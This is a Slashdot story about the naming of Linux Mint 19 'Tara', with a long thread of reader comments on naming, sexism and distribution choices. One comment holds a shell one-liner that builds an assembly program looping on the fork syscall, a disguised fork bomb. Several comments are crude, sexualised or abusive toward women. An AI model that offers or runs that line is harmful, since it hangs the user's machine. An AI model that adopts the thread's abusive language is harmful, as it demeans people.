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Linux Mint 19 Named 'Tara' (betanews.com)
BrianFagioli writes: Today, we get some information about the upcoming version 19 of Mint. The biggest news is that it will be called 'Tara.' If you aren't aware, Mint's distros are always named after a woman.
Clement Lefebvre, Linux Mint leader, shares the following information: "The development cycle only just started so it's a bit early to give details about Linux Mint 19, but here's what we can say already: Linux Mint 19 is estimated to be released around May/June 2018. Linux Mint 19.x releases will be based on Ubuntu 18.04 LTS and supported until 2023. Linux Mint 19.x will use GTK 3.22. GTK 3.22 is a major stable release for GTK3. From there on, the theming engine and the APIs are stable. This is a great milestone for GTK3. It also means Linux Mint 19.x (which will become our main development platform) will use the same version of GTK as LMDE 3, and distributions which use components we develop, such as Fedora, Arch..etc. This should ease development and increase the quality of these components outside of Linux Mint."
Clement Lefebvre, Linux Mint leader, shares the following information: "The development cycle only just started so it's a bit early to give details about Linux Mint 19, but here's what we can say already: Linux Mint 19 is estimated to be released around May/June 2018. Linux Mint 19.x releases will be based on Ubuntu 18.04 LTS and supported until 2023. Linux Mint 19.x will use GTK 3.22. GTK 3.22 is a major stable release for GTK3. From there on, the theming engine and the APIs are stable. This is a great milestone for GTK3. It also means Linux Mint 19.x (which will become our main development platform) will use the same version of GTK as LMDE 3, and distributions which use components we develop, such as Fedora, Arch..etc. This should ease development and increase the quality of these components outside of Linux Mint."
has fake boobs!
The name of the release is the biggest news?
Because it's named after a woman?
Just like it ... always has been?
Oh Slashdot, what has happened to you?
I've been using Mint for a number of years now and don't have any issues with it; it works right out of the box and provides everything that I want. Good work, devs!
One thing I'm thinking of changing, though, is moving from KDE to Cinnamon (am currently on Mint 17). I've been a KDE user for over 15 years, but it seems that recently the project is losing its momentum. Whether that's because it's matured to the point where major updates are no longer a thing or because devs are moving to other platforms and desktops, I don't know. I'll always remember that KDE4.0 was a disaster, though. Cinnamon, at least for now, appears to be stable, fresh, more streamlined, and in good hands.
note: posting as AC simply because I couldn't be bothered to dig up my login details.
The biggest news is that it will be called 'Tara.'
So, no news then.
and systemd!
I knew a girl called Tara. Had really big boobs.
I know this has nothing to do with the story, but I thought I'd share.
Because they are as mythical as linux on the desktop?
Imagine installing the latest version of Windows, and being greeted with a desktop image of shiny playful letters saying "Windows 11 Janice", or something.
I think people would immediately think of Windows as less serious and competent, and I think this is what keeps many from trying Linux systems - they only appear as odd playthings for computer nerds, not competent serious systems for all users.
Tomorrow is another day!
Did we have this problem with Hurricanes not to long ago?
In case you missed it, things have improved in the 16 years since that story was written.
In the interest of fairness, should we compare modern Linux distros to Windows ME?
You do not have a moral or legal right to do absolutely anything you want.
Why are you posting an installer glitch from 16 years ago? It's not even the same distro mentioned in TFA. It certainly wouldn't have the GNOME release mentioned either.
I would call your post pointless FUD if that distro hadn't already been dead for years.
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According to the latest ruleset, this post should be modded as Vorpal Flamebait +5.
Does it also play the theme music when it boots up?
And I agree with the others; use a sensible numbering system for releases, not cutsie names.
Picking the 19th name conforming to a series seems to fall below the threshold of newsworthy. (Unless the name is from Star Wars or Bladerunner or the like).
When you have multiple people looking at the same code and making numerous changes, bugs are inevitable in open source code.
Source: "Rebel Code: Linux and the Open Source Revolution" by Glyn Moody
I am currently stuck on a pre-Ryzen 6 core AMD circa 2011. While I do i have 16 gigs of ram, that's still a rickety old CPU. I don't have much of a problem with Ubuntu latest, but I seem to have memory of Mint being among the more resource intensive.
How do you think my rig would fair on Mint?
Brought to you by Carl's Junior.
when they start using names like "Chris", "Pat", "Jamie". or "Kelly"!
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
It's the plantation in Gone With The Wind. Don't be surprised when it burns down.
It's a warning about using Linux distros lead by sardonic Frenchmen.
Those quiche eaters cannot be trusted. Remember Agincourt!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's also the name of a female Buddha and a goddess in Hinduism, and a sacred hill in Ireland near Dublin.
The racism is only between your ears.
You'd think so since all the other Southern names are being obliterated from public view and usage.
What's Southern?
because the developer has demonstrated some serious anti-semitic behaviour in his call for those who support Israel to not use his product. Jews, meet the broad brush of racism.
Giving low-pressure weather systems girls' names and high pressure systems boys' names, as it used to be tradition until only a few years ago, was obviously sexist, while I can't really see the sexism here, except maybe for a tiniest portion of sexism in the photo shown in TFA – but if there was any, wouldn't it be sensible to stay away from it because it's sexist, not because of fear of a lawsuit?
The Great Southern Trendkill a.k.a FreeBSD
Any opinions why one should prefer Mint over Ubuntu or Cinnamon over Mate?
Not that I'd want to start a flamewar or some such, just to add something to talk about here, regarding which I'm not yet convinced I've made up my mind myself.
Its name is based on women's names, but not any particular women or plantations for that matter. It would only be racist if it was named with that plantation or movie in mind which any reasonable person knows is not the case.
The author seems obsessed with Linux these days. I think he has done much of his writing of late about Linux desktop releases. For what, the 3% or so of PC users who run a Linux desktop?? I guess Linux users jump from one release to another? I got burned with Ubuntu 17.10 a month ago with the kernel issues affecting bios. I have completely sworn off Linux forever after that fiasco. Mint is probably a good choice if you insist on running a Linux OS on a PC. But don't expect perfection on a new release, anymore then one from Windows or Mac OS.
Is it a Tara that was important in history?
Anything having to do with any gender, regardless how how innocuous it is, is sexist. Ok, got it.
An attention whore?
Heavy on the whore.
Fuck you tara you whore.
If this is what sexism has come down to, then "sexism" is ultimately meaningless
Sexism is favoring one sex over the other, for whatever reason.
This is no more or less sexist than the various campaigns to put portraits of women on U.S. currency.
I can't even get a Slashdot mention of a Mageia Linux release (downvoted as SPAM), but this info pops up like a Jerry Springer promo?
"I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
This submission links to the betanews "article" written by the submitter, which is simply a repeat of the information that is on the Linux Mint blog. Looks like clickbait to me.
My beliefs do not require that you agree with them.
Any progress in that direction?
Today, we get some information about the upcoming version 19 of Mint. The biggest news is that it will be called 'Tara.'
If that's the biggest news, then there can't be much of note to Mint 19.
systemd is Roko's Basilisk.
Giving more dangerous storms male names makes perfect sense to me.
Did you just assume Tara's gender!
MISOGYNIST!
HOMOPHOBIC!
Racist!
Fascist!
NAZI !!!!!!!!11!!1!!
Since Elementary OS dropped the name Isis for Freya (I have no idea why), I vote the next Mint should be called Isis. It's a lovely female name.
Names are gender & sexless.